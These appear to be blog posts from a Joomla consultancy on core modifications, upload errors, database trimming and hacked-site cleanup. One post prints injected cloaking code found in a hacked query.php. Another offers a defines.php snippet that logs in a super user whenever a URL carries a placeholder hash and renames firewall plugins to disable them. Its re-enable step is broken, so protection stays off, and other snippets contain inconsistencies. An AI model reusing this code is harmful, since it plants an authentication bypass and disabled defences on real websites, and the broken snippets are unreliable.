We got a request from a client of ours to display articles from multiple categories on an existing category blog page. As a Joomla administrator, you probably know that a basic installation of Joomla can’t do this. In fact, this is the main reason (in most cases) why a Joomla website uses K2 for content management instead of Joomla’s core.

Luckily, we have done this before for another client, so we processed the request swiftly. Here’s what we did:

  • We logged in to the Joomla backend and we opened the existing menu item pointing to the category blog page.
  • We checked the string in the Link field, which was this one:

    index.php?option=com_content&view=category&layout=blog&id=50

  • We took note of the number “50” (which is the ID of the category) in the above string.

  • We then gathered the IDs of all the categories which the client wanted their articles displayed under the above category blog page. Here are the IDs: 77, 81, 107, 155.

  • We opened the file articles.php which is located under the components/com_content/models folder.

  • Just below the following line:

    $categoryEquals = 'a.catid ' . $type . (int) $categoryId;

    We added the following line:

    if ( (int) $categoryId == '50'){
    	$categoryEquals .= ' OR a.catid IN (\'71\', \'81\', \'107\', \'155\')';
    }

    Note: Of course, you will need to replace “50” with your category number. You will also need to replace “71, “81”, etc… with the IDs of the additional categories you want to display articles from.

  • That’s it! After doing the above, the category blog menu item displayed articles from all the above categories.

Note that you will need to create hidden menu items of type Category Blog, each pointing to a category in the above list to ensure that SEF links are properly generated for your articles.

But, what about using subcategories to display articles from multiple categories?

Well, you can do that, provided the multiple categories are immediate children of the main category (e.g. the category with ID “50” in the case of our client). If this is the case, then all you need to do is to open the menu item pointing to the main category, and then click on the Blog Layout tab, and finally set the value of Include Subcategories to “Yes”.

However, if you are stuck with dispersed categories that are not children of the main category, then the quickest solution would be to use our core modification above.

We hope that you enjoyed our simple post for displaying articles from multiple categories on a category blog. If you need help with the implementation, then just contact us. We always love having more clients, our work is super fast, our expertise is top notch, and our prices are super affordable!

“Invalid mime type detected.” Error When Trying to Upload a PDF File in Joomla’s Media Manager

Note: The second solution presented in this post consists of a core modification, which means that a future update can overwrite your changes. Always document your core modifications so that you can re-apply them after an update.

During the past weekend, we updated the website of one of our clients to Joomla 3.7.5 from Joomla 3.6.5 as we thought the former was stable enough. Yesterday, the client emailed us and told us that whenever they upload a PDF file through the media manager, they were seeing the following error…

Invalid mime type detected.

…and, of course, the upload was failing.

We investigated the issue and it turned out that there was a change in Joomla’s 3.7.x file checking process: In Joomla 3.6.5, a function called canUpload (in the media.php file which is located in the libraries/cms/helper folder) checks if the file uploaded is legal (e.g. it is allowed). If it is, then it allows the upload. In Joomla 3.7.x, the same function, canUpload, is triggered, but, in a default scenario, it also tries to guess the MIME type of the uploaded file using the function getMimeType. If it can’t (for any reason), then it returns false, and will display the above error.

Now the question is, what is a MIME type?

MIME is acronym for Multipurpose Internet Mail Extension, and it is just a string representing the type of a file and is typically used by the browser to know which type of software to launch to display a certain file. For example, if the MIME type of a file is application/pdf, then the browser will know that it needs to open the Acrobat Reader software to display the file. On the server end, the MIME type is often used to know the type of the file being uploaded, in order to decide whether to allow the upload or not.

However, the PHP function that is used to return the MIME type, which is mime_content_type, is an unstable function. In fact, this function was deprecated and then un-deprecated. There is, however, another method to return the MIME type, and it is by using the function finfo_open to return a fileinfo object out of a file and then using the function finfo_file to return the MIME type of the file. Now the problem with the last method is that it requires the PECL PHP library installed, which is not installed by default. The function getMimeType which is called by the function canUpload, first uses the first method to determine the MIME type of the uploaded file, and then it uses the second method. If it can’t determine the MIME type of the uploaded file using either method, then it returns false, leading to the Invalid mime type detected error.

So, what is the solution to the problem?

Since the MIME type check is done only when the Restrict Uploads setting in the Media Manager configuration is set to “Yes”, then a very quick solution would be to change that setting to “No” by logging in to the backend of the Joomla website, and then going to Content -> Media, and then clicking on Options on the top right, and then flipping the value of Restrict Uploads from “Yes” to “No”. Now, if someone hovers on Restrict Uploads, then he will see the following message:

Restrict uploads for lower than manager users to just images if Fileinfo or MIME Magic isn’t installed.

The problem is, however, is that the above message isn’t accurate. In fact, when Restrict Uploads is set to “Yes”, then it’ll be applied for all users, even super users, which is wrong. There is no check anywhere for the user type in the actual code. In order to fix this bug (which will also fix the original problem and will address any security implications resulting from setting the value of Restrict Uploads to “No”), you will need to do the following (note that if you change the Restrict Uploads value to “No” then you don’t need to do the below):

  • Open the file media.php which is located under the libraries/cms/helper folder.
  • Change the following line:

    if ($params->get('restrict_uploads', 1))

    to the following line:

    if ($params->get('restrict_uploads', 1) && !JFactory::getUser()->authorise('core.admin'))

  • Save the file and upload it back.

  • The problem should be solved!

Of course, there is another solution that consists of installing the proper PHP libraries, but this solution is dependent on the type of the hosting environment, so check with your host/system administrator about this (have them install the PECL PHP library or the MIME Magic library).

We hope the you found our post useful and that it did solve your problem. If it didn’t, then please contact us, we’ll help you address this problem for you in no time and for a very, very reasonable fee!

Joomla Performance Tip: Delete Old Entries in the “content_frontpage” Table

Unlike WordPress, Joomla has the unique ability that allows an administrator to label an article as a featured article, which means that the article will display on a page where the menu item is of type Featured Articles (typically, this page is the homepage). You might think, well, that’s not so special, but there is more to this: Joomla allows the administrator to have a different order for featured articles, and that order is independent from their order within their respective categories.

If you’re the skeptical type, then you are probably thinking: “Well, OK! But that’s not really much!” And it isn’t, except that the underlying database structure and the code gets signficantly messy because of this. You see, in order to support the above functionality, Joomla queries an additional table on a page with a Featured Articles menu item (which, again, is typically the homepage), which creates a huge load on the server when that table is of considerable size. The solution to this problem is to regularly trim the #__content_frontpage table and ensure that it doesn’t contain more than 100 entries. This can be done the following way (please backup your database before proceeding further; if you don’t want to then at least backup the #__content_frontpage table):

  • Login to phpMyAdmin.
  • Click on the #__content_frontpage table on the left pane (of course, you will need to replace #__ with the database alias of your Joomla website).

  • Click on the SQL tab on the top and type in the following query:

    DELETE FROM `#__content_frontpage` WHERE `ordering` > 100;

  • Click on the Go button on the bottom right.

  • That’s it!

Once you do the above, you will feel a noticeable gain particularly if your #__content_frontpage table is quite large.

We hope that you found this post useful. If you need help with the implementation, or if you need to implement the above in a cron, then please contact us. We are always happy to serve, our prices are super affordable, and our work is super clean.

Joomla Displays Altered Content on Some Pages (Hint: It Is Hacked)

A few days ago, a client of ours emailed us and told us that some of the pages on her company website were displaying content that was not theirs. The content was not technically malicious, but it consisted of ads, which had nothing to do with the client’s business. Clearly, the website was hacked.

Since only a few pages were affected, we had a hunch that it was a database hack, so we searched the database for the modified content, and, oddly enough, we didn’t find the modified content in the #__content table, but we found it in a table called #__finder_data. We’ve never seen this table before. To the untrained eye, the table seemed to be part of the Smart Search extension, but, as Joomla experts, we knew that it couldn’t be the case, as the Smart Search does not use any such table.

So we looked at the content of the table, and we noticed that most of the rows were benign and were just a copy of some rows in the #__content table. A few rows, however, had some altered (hacked) content.

We quickly (and wrongly) assumed that the #__finder_data table was used by a 3rd party extension for some caching reasons (although it seemed pretty useless, as it was just a copy of the #__content table), but we needed to know which extension it was used by. So, we did a grep on the filesystem which quickly revealed that the table was used in the file query.php which is located under the libraries/joomla/database folder. Yes, you’ve guessed it, the query.php is a core file, which means that the whole #__finder_data is likely part of the hack. So, we opened the query.php, and we searched for finder_data, and we found the following code:

if (!isset($GLOBALS['issebot'])) $GLOBALS['issebot']=$this->is_sebot();
if ( @$GLOBALS['issebot'] AND preg_match('/#__content(\s|$)/', $tables) AND in_array($db_px.'finder_data', $this->db->getTableList() ) ) {
    $tables=str_replace('content', 'finder_data', $tables);
}

The above code was located in the from function, and it checked if the traffic was coming from a bot (the method is_sebot was also added to the query.php file), and if it was, then it displayed content with matching ID from the #__finder_data table. Clearly, the method to check if the traffic was coming from a bot or not wasn’t exactly working properly, as the website was displaying the modified content for regular, non-bot traffic.

We quickly did the following:

  • We overwrote the hacked query.php file with a clean query.php file from a matching Joomla version (actually, we used our super fast method to clean Joomla sites and overwrote the whole core).
  • We deleted the #__finder_data table as it had nothing to do outside the hack.

Doing the above solved the problem, but, of course, it didn’t answer the question, how did this happen in the first place even though the site was using a very secure version of Joomla? We don’t know for sure, but we suspect the host. We’re not saying that the host did this, but what we are saying that the host that the client uses is notorious for bad security (the host has the word giant in its name, you figure the rest).

If your Joomla website displays (even slightly) different content than the real content, then likely your website is hacked. Try our simple cleanup instructions above and see if that fixes the problem. If it doesn’t, then please contact us. We will clean your website, we will secure your website, and we won’t charge you much.

“Error loading component: com_fields, Component not found.” Error After Updating Joomla to 3.7.x

One of the nice features in Joomla is that you can update the CMS from either the backend or from the filesystem. We typically update our clients’ websites from the backend, but, when we encounter the minor of issues, we update it using the filesystem. Here’s how:

  • We ssh to the server as root and we cd (change directory) to a temporary directory.
  • We download the latest Joomla install using wget.

  • We extract the install in the temporary directory and then we remove the installation folder (and the templates folder if the site uses a built-in Joomla template).

  • We zip everything back and we move it to the root directory of the Joomla site.

  • We extract everything there and then we use a recursive chown to change the ownership and the group of each of the files to the right one.

  • We login to the Joomla backend and then we go to Extensions -> Manage -> Database and then we click on the Fix button on the top left.

  • That’s it! Typically, the above process takes a few minutes, and we only do it if the current Joomla website is a few revisions behind.

Lately, however, we are having a minor hiccup with the above process (especially when updating from Joomla 3.6.5 to Joomla 3.7.x), as we are seeing the following warning when we go the Article Manager page (or any backend page having to do with the articles):

“Error loading component: com_fields, Component not found.”

The above warning is caused by the fact that the new article system in Joomla has been modified to use the custom fields (which has been introduced in 3.7.x), but the custom fields were not properly installed onto the website. The solution to this problem is to use the “Discover” functionality in the Joomla backend. Here’s how to do this:

Login to the Joomla backend and then go “Extensions” -> “Discover”, and then click on the “Discover” button on the top left. Once you do that, you should see the following Fields extensions that should have been installed on your Joomla website (but were not):

  • Content – Fields (Site Plugin)
  • Fields (Administrator Component)
  • Fields – Calendar (Site Plugin)
  • Fields – Checkboxes (Site Plugin)
  • Fields – Colour (Site Plugin)
  • Fields – Editor (Site Plugin)
  • Fields – Imagelist (Site Plugin)
  • Fields – Integer (Site Plugin)
  • Fields – List (Site Plugin)
  • Fields – Media (Site Plugin)
  • Fields – Radio (Site Plugin)
  • Fields – SQL (Site Plugin)
  • Fields – Text (Site Plugin)
  • Fields – Textarea (Site Plugin)
  • Fields – URL (Site Plugin)
  • Fields – User (Site Plugin)
  • Fields – Usergrouplist (Site Plugin)
  • System – Fields (Site Plugin)

Select them all by clicking on the top checkbox (the one next to “Name”). Once you have them all selected, click on “Install” button on the top left. When the install finishes (it should take a few seconds), you should see the following message Discover install successful. You can then verify that the problem is fixed by going to the Article Manager (you shouldn’t see the warning any more).

We hope that you found our little post useful and we hope it helped you solve your problem. If it didn’t, then please verify that your server doesn’t have any type of aggressive caching. If you still need help, then you can always contact us. We are eager for new clients, our current clients love us, and our fees are always right.

Lack of Full Time Testers is Joomla’s Biggest Problem

A few weeks ago, we discussed the main advantages that WordPress has over Joomla. One of these advantages is the fact that WordPress has full time developers and a huge testing team. Of course, for those of us working with Joomla, we know that this isn’t the case for our beloved CMS.

Joomla is supported by volunteer developers (who are highly dedicated) and by a volunteer testing team. Now any programmer worth his salt knows 3 things: 1) he cannot say that his code is “fully tested” when he’s the only one who tested it, 2) any code should never ever be made live without thorough testing, and 3) a simple line of code may unknowingly impact many areas of a product.

If you know how development on the Joomla core works, then you will know that the heart of the problem is the word “thorough” in the previous sentence, simply because the testing is anything but thorough. Let us explain the issue with an example of how a bug is handled:

  • Someone reports a bug to the Joomla development team.
  • A Joomla developer addresses the bug.

  • Other developers test the feature that the bug fix addressed.

  • The bug fix is packaged and prepared for the next Joomla release.

  • The Joomla release is tested shortly before its launch. The testing consists of installing the new Joomla version with some demo data onto someone’s PC and tinkering with that install.

Obviously, there are some serious flaws in the above process:

  • The bug fix may cause issues in areas other than the area addressed by the bug.
  • The testing done does not take into consideration the impact of the bug fix on the product as a whole.

  • The testing is oblivious to the concept of “3rd party extensions” in Joomla and is done on a pure Joomla website.

  • The testing completely ignores the impact of this simple bug fix on large datasets, because the demo data that is used for the testing consists of just a few articles.

We can give you a proof for each of the points mentioned above. For example, a few revisions ago, Joomla changed the ordering algorithm of articles. The change was meant to address a performance issue caused by the old article ordering algorithm. Some developers tested the change and it was made live in the next revision. Less than an hour after the release, many Joomla administrators flooded the developers with complaints about the new ordering algorithm, as it confused them by pushing newer articles to the very bottom of the articles’ list. Obviously, a consensus was reached shortly after and the change was reverted.

There are many, many other examples, but we don’t think it’s necessary to list them all to get our point across.

But what is the solution?

The solution is for Joomla to hire a full testing team, and to give testing a priority, and to test with real data (e.g. copy real large websites onto a dev environment and then test these websites there). Obviously, more money is needed to accomplish this, and so Joomla must be slightly less conservative when it comes to its tight techniques to raising money.

We hope you found this post useful. If you have any questions about it, then please leave a comment below. If you need help with your Joomla website, then please contact us. Our work is clean, our skills are solid, and our fees are affordable!

The Hacked “index.html” File on Joomla Sites

A new client called us yesterday afternoon and told us that his company website was displaying a weird page instead of his normal page (his company sells restaurant equipment). The weird page consisted of some gibberish in random languages. It was a no-brainer that the website was hacked.

Since the client was in a hurry, we decided to clean the website using our super quick method for cleaning Joomla websites, but, to our surprise, it didn’t work: the website still displayed the page with gibberish content.

We thought, it might be that the template chosen was hacked, so we switched to the Beez 3 standard Joomla template (that was definitely fixed by the code overwrite), but that didn’t work either.

Naturally, the next step was checking the .htaccess file, maybe there was a malicious rule somewhere, but even after deleting the .htaccess file the site was still hacked. We also checked for malicious .htaccess files in higher directories, and we found none.

Finally, we decided to add a PHP die(‘under maintenance’); statement to the beginning of the main index.php file and see how the website reacts. To our surprise, the website still displayed the hacked page.

There were 3 scenarios in our mind:

  1. The website was located in a different directory than the one we were working on.
  2. The website was located on another server than the one we were working on.

  3. The server hosting the site had some aggressive caching techniques.

While checking for the above possibilities, we noticed something peculiar: there was an index.html file lurking in the root directory of the Joomla website. We opened the file in our text editor, and, unsurprisingly, the file contained the hacked HTML code. Deleting the index.html file immediately solved the problem.

But how did the hacked index.html file got there in the first place?

We’re not exactly sure. The website was using the latest Joomla version (Joomla 3.7.3) and all the 3rd party extensions were up to date, so, most likely the issue was an undiscovered vulnerability in one of the installed extensions. The client elected not to proceed further with the investigation so we can never be sure.

So, how can one protect his website from a similar issue?

Addressing the result (and not the cause) can be done by adding some .htaccess rules to block access to the following files in the root directory of the Joomla website:

  • default.html
  • default.php
  • index.html

A simpler way to address the problem consists of adding the following line to the very beginning of the .htaccess file:

DirectoryIndex index.php index.html default.html default.php

The above line ensures that the index.php file has priority over all the other files and is always processed first by the web server.

We hope that you found this post useful. If you have some questions about it or if your website ran into the same issue and you want us to do some forensic work done in order to unveil the root cause of the problem, then please contact us. We are security experts in Joomla, our work is very clean, and our fees are extremely affordable.

The Main Advantages that WordPress Has over Joomla

WordPress, the most used CMS in the world, with around 9 times the market share of Joomla, is not better than Joomla. In fact, we think that Joomla is a much better product, and this is why:

  • Joomla uses MVC in its code, WordPress doesn’t.

    The term Spaghetti Code is a great fit for WordPress. Joomla has always adopted a clean Model-View-Control framework which is very easy to work with.

  • Joomla is way better structured than WordPress.

    In WordPress, everything is called “a plugin”, with the exception of templates, which are called “themes”. In Joomla, you have plugins, modules, and components.

  • Joomla is generally a more polished product.

    Compare a Joomla backend to a WordPress backend and you will know exactly what we mean.

But, even though we think that Joomla is better than WordPress, we cannot ignore the fact that Joomla lags behind when it comes to market share. We believe that this can be attributed to the following reasons:

  • Updating WordPress from almost any version to the most current version is a seamless operation.

    Case in point: A year ago we updated the itoctopus website (yes, guilty as charged, we use WordPress on the itoctopus website, mainly because our website is mostly a blog) from a very old version of WordPress to the most recent one, and it literally took us a few minutes to do so. Imagine trying to migrate a Joomla 1.5 website to Joomla 3.7.2, will you be able to do it in a few minutes? We can’t, and if you can, then please send over your CV right now!

  • SEF links are automatic with WordPress.

    In Joomla, you have to create menu items, and then point these menu items to articles/categories/etc… in order to get a working link. Sure, you have full control over your links in Joomla, but this extra process is what keeps many webmasters from adopting Joomla. Not many people grasp the idea of menu items. On the bright side, however, Joomla will, in the near future hopefully, have a seamless integrated SEF system.

  • WordPress is a dictatorship.

    WordPress was created by one person, and that one person has a final say in almost any decision involving WordPress, including technical and financial decisions. Essentially, WordPress represents the unwavering vision of just one person. Joomla is a totally different story. Joomla’s financial, structural, and technical decisions are taken by different people with different opinions and different agendas. Naturally, this means that many of these decisions are incoherent and incompatible with each other, and what makes things worse is that the Joomla decision makers are often replaced, further weakening the long term vision of the product.

  • WordPress is wealthy.

    WordPress employs many monetization techniques that generates a lot of money. Joomla, because of its complicated decision making process (and because of some people with hidden agendas), was never really monetized properly. In fact, the same people making a killing out of Joomla are the staunchest opponents to a real monetization of the Joomla brand.

  • WordPress has real – full time developers. Joomla doesn’t.

    Since WordPress is wealthy, then it can afford to hire real good quality developers to support its products. So far, Joomla doesn’t have full time paid developers, it only has volunteer developers. Even the lead Joomla developer is a volunteer developer. Of course, that it not a bad thing, but it is definitely not as good as when you have full time developers supporting the product, and a huge testing team testing the product.

  • The WordPress plugins directory is better maintained than Joomla’s JED

    The JED (Joomla Extensions Directory) is just non-comparable to the WordPress plugins directory, and this is because the JED is maintained by very few people. So, the approval, rejection, and the testing of an extension takes a long time and is often done just to “empty the plate”. This means that in many cases, no real testing is done, and this is especially the case for large extensions.

Due to the above factors, WordPress has a much larger community than Joomla, but, on the other hand, Joomla’s community is much more fanatic about Joomla (which can be a good thing and a bad thing). We know that Joomla is a better product in its core, but, we also know that without addressing the above advantages that WordPress has over Joomla, our beloved CMS will, at best, be in second place.

The above post reflects our opinion which is based on our experience with both products. If you have have something to say about this, then feel free to comment below. If you want to hire us to advise you on which CMS is best for you, then please contact us. Our fees are right, our work is honest, and we really know what we are talking about!

Joomla Performance Tip: Investigate Large Database Tables

One of the common bottlenecks on any website, and not just a Joomla website, is large database tables. Large tables, especially those with significant and constant CRUD (Create, Read, Update, and Delete) activities, can cause serious load issues on websites. This means that it’s always a good idea to check your Joomla websites for large tables and see if you can trim them.

For example, if you are using Smart Search, then you will notice that adding/editing Joomla (or K2) articles gets slower and slower with time, and this is caused by the exponential growth of the finder tables (check point #2 here for more information about the harm that is caused by Smart Search).

Another example is the ACYMailing tables, especially those that are used for storing stats. If you are an avid user of ACYMailing, then you probably know what we mean: a load spike when you are sending out emails (because of the new rows added to the ACYMailing stats table), and a load spike when people start opening their emails (all these database updates happening during a relatively short period of time).

Now, the question is, how can you check your database for large tables? Simple! You just go to phpMyAdmin, select the database powering your Joomla website, and then click on the Rows header. This will display the tables sorted by the number of rows descending (e.g. the tables with the most rows will display first). Once you know which tables have the most number of rows, you will be able to formulate a strategy in order to address that (of course, your options are very limited for some tables, such as the #__content table).

If you need help with those large tables, then all you need to do is to contact us. Our prices are right, our work is professional, and we always have a solution for any Joomla issue.

Varnish Caching and Invalid Tokens on Joomla Websites

A new client emailed us back on Saturday (today is Monday), and told us that he was seeing the famous (and dreaded) Invalid Token error whenever he tried to login to his Joomla website. He told us that the whole thing happened all of a sudden. He assured us that he didn’t install a new extension, he didn’t modify the settings of an extension, and he didn’t even add/update anything on his website in the past few weeks.

Of course, our first guess was that the website was hacked, so we did a thorough scan to the website, and it was as pure as the driven snow. Our second guess was a recently installed plugin, but there were none. So we disabled all the non-core plugins, and we still had the problem. Our third (and obvious) guess was Joomla caching, but there was no type of Joomla caching enabled.

So, we started debugging the problem by echoing messages in core files (just to narrow down the problem), and while doing that, we noticed something interesting, our changes were not reflecting immediately. Could it be? So, we did additional tests, and we were able to confirm that aggressive caching was being used by the host. So, we called the host and we were told that Varnish Caching was being used for that website, and so we asked them to disable it (they reluctantly agreed). Once Varnish Caching was disabled, everything worked perfectly, and the Invalid Token issue was resolved.

If you are having an Invalid Token error when you are trying to login to your website, then check our previous post about it. If it doesn’t work for you, then check with your host whether they are using server caching (such as Varnish Caching) for your website. If they do, then ask them to disable it. If they refuse to disable it, then maybe it’s time to move to a new host. If the problem has nothing to do with server caching, then all you need to do is to contact us. We are eager to help, our fees are super affordable, and we always find a solution.

How to Run a Joomla Administrator View from a Cron

Every few months, we get a request to execute a Joomla administrator view from a cron job. For example, a recent request consisted of running an administrator view from a cron job in order to grab data from other sites and save them into the Joomla website. Now, if you have dealt with cron jobs before, you will probably immediately answer that it’s possible, but (as always), there is a catch: How will you run the administrator view without logging in? If you can do that, then there is a major security exploit in Joomla that must be addressed immediately, but you can’t, at least not before reading this post!

So, how do we do run a Joomla administrator view from a cron job at itoctopus?

Well, we do it the following way:

  • We login to the backend of the Joomla website and then we create a super user called admincron with a random password.
  • We leverage the power of the defines.php file – that is also loaded by the index.php file located under the administrator folder to do the following:

    • Temporarily disable any security plugins (such as AdminTools, RS Firewall, etc…) by renaming the plugin’s folder to a different name.

    • Load the Joomla environment.

    • Login the user admincron to the Joomla backend.

    • Execute the view.

    • Halt further execution of the script.

  • We create the cron job to execute the administrator view.

Here’s the code that we add to the defines.php file:

<?php 
	$hash = $_GET['hash'];
	if ($hash == 'averystronghash'){

		// Optional: Disable any firewall plugin by renaming its folder to *_old
		rename('../plugins/system/firewallplugin', '../plugins/system/firewallyplugin_old');

		//Load the Joomla environment
		if (!defined('_JDEFINES'))
		{
			define('JPATH_BASE', __DIR__);
			require_once JPATH_BASE . '/includes/defines.php';
		}

		require_once JPATH_BASE . '/includes/framework.php';
		require_once JPATH_BASE . '/includes/helper.php';
		require_once JPATH_BASE . '/includes/toolbar.php';
		$app = JFactory::getApplication('administrator');

		// Login the "admincron" user to the Joomla backend
		$credentials = array();
		$credentials['username'] = 'admincron';
		$credentials['password'] = '[password]';
		$app->login($credentials);

		$app->execute();

		// Optional: Re-enable any firewall plugin that was disabled at the beginning of the script
		rename('../plugins/system/firewallplugin', '../plugins/system/firewallplugin');

		// Halt further execution of the script
		die();

	}

?>

Once you add the above defines.php file, you will be able to load any administrator view on your Joomla website without explicitly logging in. You will also be able to load any administrator view from the cron, by simply adding the following task to your cron job:

/usr/bin/wget "http://www.[yourjoomlawebsite].com/administrator/index.php?option=com_[yourcomponent]&view=[yourview]&hash=averystronghash"

Aren’t there any security implications for doing the above?

Not as long as you are using a very strong hash. Otherwise, you will risk allowing anyone who knows the link (in the cron task above) to login as super user to your Joomla website.

We hope you found this post informative and useful. If you have any questions about it, or if you need help with the implementation, then please contact us. We are always excited for working with new clients and our fees are very affordable!

“JHtmlBehavior::polyfill not found” Fatal Error on Joomla

A new client called us this morning and told us that the was seeing the following error on his website when he was visiting it:

An error has occurred. 500 JHtmlBehavior::polyfill not found

So, we visited his website in order to check what is going on, and, to our surprise, we didn’t see the error. We deleted the Joomla cache of the website and we asked the client to clear his browser cache and check the site again, but he still saw the problem. We starting suspecting that it was a propagation issue and that the client was seeing a different version of the site, but, after asking the client to ping his website, we realized that he was seeing the same website as us.

So, we dug into the Joomla code searching for the polyfill error – and we quickly discovered something very interesting in the file behavior.php which is located under the libraries/cms/html folder. It was these 3 lines:

// Include core and polyfill for browsers lower than IE 9.
static::core();
static::polyfill('event', 'lt IE 9');

Aha! It seems that the polyfill library was only being loaded if the person was using an IE browser that is less than Internet Explorer 9 (the client was using IE 8), but, why was it generating the error when Joomla tried to load it?

Further digging revealed that the polyfill library in Joomla 3.7.2 and in earlier versions does not support PHP 7 – it only supports PHP 5.5 and PHP 5.6, and since the client was using PHP 7, he was seeing an error.

So, what was the solution to the problem?

The solution to the problem was quite easy, all the client had to do was to use a different browser (he went with Google Chrome), and the problem was solved!

But what if the client didn’t have the option to switch to another browser?

Well, in that scenario, the client had to comment out the following line from the aforementioned behavior.php:

static::polyfill('event', 'lt IE 9');

Although we have to say, that commenting the above line may have other implications (we haven’t tested it to confirm) – so, as usual, proceed at your own risk.

We hope that you found our post helpful. If you are still seeing “JHtmlBehavior::polyfill not found” error on your website even after switching to another browser, then please contact us. We will always find a solution, our rates are super affordable, and our work is super clean!

Joomla Security Tip: Block Long URLs

At itoctopus, one of the things we are fascinated by is security – we are always researching new ways to improve the security of our managed websites. Our Joomla honeypot experiment, for example, was a huge success and we implemented it for our major clients. It also helped us better understand attack patterns, which, in turn, helped us develop the appropriate counter measures.

A common pattern in attacks on Joomla websites, as we noticed from our Joomla Honeypot Experiment, is long URLs. When a URL is abnormally long, then it’s almost a certainty that it’s an attack, and not a legitimate visit. An obvious counter measure would be to block long URLs from accessing the website. But how? And, how about false positives resulting from this aggressive security measure?

Well, the first thing that needs to be done is to check the Apache access logs, and generate a list of all the URLs sorted by their length. Here’s how (we are assuming that you are using WHM/CentOS as your hosting platform):

  • ssh to the server as root.
  • Change to the /usr/local/apache/domlogs by issuing the following command:

    cd /usr/local/apache/domlogs

  • Run the below code (substitute yourjoomlawebsite.com with your domain):

    awk '{print $7 }' /usr/local/apache/domlogs/yourjoomlawebsite.com | sort -nr | uniq -c | awk '{ print length($2) " " $2;  }' | sort -nr -k1 > urls-by-length.txt

    Note: The above code may take some time on high traffic websites, so please be patient.

  • Open the file urls-by-length.txt, and you will see a list of all the URLs accessed, reversely sorted by length. The length of each URL will be printed next to it.

  • Take note of the length of the longest legitimate URL that you have on your website (you will find it at the top of the list, not necessarily in the first row, as the first row may contain an attack URL). You will need it afterwards.

Now that you have the length of the longest legitimate URL on your website, you can create a simple condition in the defines.php file to block URLs that exceed the maximum legitimate length. Here’s how:

  • Open or create the file defines.php under the root directory of your Joomla website.
  • Add the following code to it:

    <?php
    $maximumAllowedCharacters = [number you got from running the awk command above + some padding];
    // Replace 'http' with 'https' if your website runs in SSL mode
    $currentURL = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
    if (strlen($currentURL) > $maximumAllowedCharacters){
    	header('HTTP/1.0 403 Forbidden');
    	die('Unauthorized');
    }?>

  • That’s it! Now abnormally long URLs will be blocked from accessing your website.

Note that this can also be done at the ModSecurity level (if you have it installed on your server), and it is even more efficient to do it in ModSecurity, because multiple requests from the same IP can be blocked at the server level. Of course, ModSecurity is a huge realm, and developing a rule that enforces the above simple condition is not what anyone would consider a walk in the park.

But what about false positives?

There is a possibility that you will have false positives when implementing the above on your website, and that’s why it’s always a good idea to monitor your logs (especially 403 errors) in order to address any false positive.

Of course, there is much room for improvement in the defines.php code above. So if you are interested in enhancing it so that it works seamlessly on your website, then please contact us. We are experts in Joomla security, we are hard workers, and our fees are not scary!

How to Remove the PHP End of Life Warning in Joomla 3

We are getting calls from Joomla administrators telling us that they are seeing a bizarre warning in the backend of their Joomla sites after updating their sites to 3.7.x. Here is a sample warning:

Your PHP version, 5.6.30, is only receiving security fixes at this time from the PHP project. This means your PHP version will soon no longer be supported. We recommend planning to upgrade to a newer PHP version before it reaches end of support on 2018-12-31. Joomla will be faster and more secure if you upgrade to a newer PHP version (PHP 7.x is recommended). Please contact your host for upgrade instructions.

Most of the Joomla administrators contacting us are using the words bizarre or weird because they just don’t understand why they are seeing a warning for something that will happen at the end of 2018 (today is May 30th, 2017). Naturally, they ask us for an explanation, and, as always, we oblige:

Joomla versions 3.7.0 and higher have a quickicon plugin that gets the version of the PHP instance running on the server that the Joomla website is running on and then compares it to a hardcoded database of PHP versions, with their Security Fixes Only and End of Life (or EOL) dates. If the current date (e.g. today) is higher the Security Fixes Only date, but lower then the EOL date for the PHP instance, then this means that the PHP version is longer in Active Support, and is in the Security Fixes Only phase. When this happens, Joomla displays something like the above warning.

If the current date is even higher than the Security Fixes Only date for the PHP instance, then this means that the PHP version used has reached its End of Life, and Joomla will display something like the below warning:

We have detected that your server is using PHP 5.5.38 which is obsolete and no longer receives official security updates by its developers. The Joomla! Project recommends upgrading your site to PHP 5.6 or later which will receive security updates at least until 2018-12-31. Please ask your host to make PHP 5.6 or a later version the default version for your site. If your host is already PHP 5.6 ready please enable PHP 5.6 on your site’s root and ‘administrator’ directories – typically you can do this yourself through a tool in your hosting control panel, but it’s best to ask your host if you are unsure.

As you can see in the second scenario, the Joomla website will display a warning asking the administrator to update to a PHP version that will also display a warning – this is because the algorithm works as follows:

  • If the Joomla website is using a PHP version that is still supported, then do not display any message.
  • If the Joomla website is using a PHP version that is only supported through security patches, then display the first message.

  • If the Joomla website is using a PHP version that is no longer supported, then search for the first PHP version that is supported (even with security patches), and display the second message.

Obviously, the algorithm of the last step should be modified to return the PHP version that is still in Active Support.

In any case, most, if not all Joomla administrators feel uncomfortable when they see any of the above messages, and many of them do not have the time to update the PHP version on their server. Luckily, there is a way to get rid of these annoying messages. Here’s how:

  • Login to the backend of your Joomla website.
  • Go to on Extensions -> Plugins.

  • Search for the plugin titled Quick Icon – PHP Version Check and disable it by clicking on the green checkmark next to it.

  • That’s it!

As you can see, it is easy to get rid of the warning, but Joomla’s advice is sound, and you should update to a supported PHP version whenever is possible for the sake of both the security and the stability of your website.

Now if you’re wondering which PHP versions are the ones that do not display these messages, then they are, at the time of writing this post, all the PHP 7.x versions (including PHP 7.0).

We hope that you found this post useful. If you want to update your PHP version to the latest one but you are afraid that this may break something on your website, then please contact us. We’ll do the work for you, we won’t charge you much, and you will sleep better at night!

Joomla’s RSForm Pro PayPal Plugin Not Changing the Payment Status from “Pending” to “Accepted”

RSForm Pro is one of the most powerful extensions out there. You can create any type of form with it, and associate any action you can think of when the form is submitted, whether through plugins or through embedded PHP code. This makes RSForm ideal for integrating Joomla with payment gateways (such as Authorize, PayPal, and Stripe) and marketing tools (such as HubSpot, Marketo, Salesforce, and the likes).

But, hiccups are bound to happen from time to time, and we experienced a small hiccup with our last RSForm Pro integration. Here’s what happened…

A client of ours commissioned us to create a “gift card” page on their website, where people can purchase gift cards that are used towards subscriptions (the subscription system used was Akeeba Subscriptions – the gift cards are actually coupons in Akeeba Subscriptions). We used RSForm Pro for that, and we added 2 payment methods: PayPal and Stripe. The gift card process went as follows:

  • The client visits the page containing the form, which asks the client about his name, his email, the type of gift card that he wants to purchase ($50 gift card or $100 gift card), and his payment method (credit card or PayPal).
  • Based on the client’s choice of payment method, the system will either display a popup asking for the client’s credit card details or will redirect the client to PayPal.

